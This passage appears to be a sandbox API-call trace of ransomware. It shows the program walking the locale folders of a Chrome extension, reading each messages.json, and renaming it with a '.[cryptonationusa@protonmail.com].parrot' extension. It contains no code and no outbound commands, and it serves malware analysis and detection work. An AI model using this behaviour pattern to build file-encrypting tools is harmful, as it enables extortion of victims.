ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb90f1b80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.108] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb90f1b80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0073.108] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.108] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0073.108] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.108] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0073.108] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0073.108] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10d, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0073.110] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x225, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.110] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.110] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0073.111] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.111] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x10d, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x10d, lpOverlapped=0x0) returned 1 [0073.111] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.112] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x225, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.112] CloseHandle (hObject=0x28c) returned 1 [0073.112] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.117] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.117] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb90f1b80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb90f1b80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.118] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb90f1b80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0073.118] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.122] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0073.122] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.122] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0073.122] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0073.122] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0073.123] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x218, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.123] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.123] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0073.124] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.124] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x100, lpOverlapped=0x0) returned 1 [0073.125] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.125] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x218, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.125] CloseHandle (hObject=0x28c) returned 1 [0073.126] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.130] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.130] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9117ce0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9117ce0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.131] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb9117ce0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0073.131] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.133] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0073.133] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.133] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0073.133] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0073.133] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0073.134] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x202, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.134] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.134] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0073.135] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.135] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xea, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xea, lpOverlapped=0x0) returned 1 [0073.136] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.136] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x202, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.136] CloseHandle (hObject=0x28c) returned 1 [0073.137] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.139] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.139] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb913de40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb913de40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.140] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb913de40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0073.141] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.141] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0073.141] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.141] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0073.141] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0073.141] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0073.141] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x224, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.141] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.141] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0073.142] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.142] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x10c, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x10c, lpOverlapped=0x0) returned 1 [0073.143] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.143] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x224, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.143] CloseHandle (hObject=0x28c) returned 1 [0073.143] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.147] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.147] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb913de40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb913de40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.148] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb913de40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0073.149] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.149] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0073.149] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a22430, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a22430, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.149] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0073.149] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0073.149] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a21490, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x121, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0073.149] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x239, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.149] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.149] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0073.150] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.150] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x121, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x121, lpOverlapped=0x0) returned 1 [0073.151] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.151] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x239, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.151] CloseHandle (hObject=0x28c) returned 1 [0073.152] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user 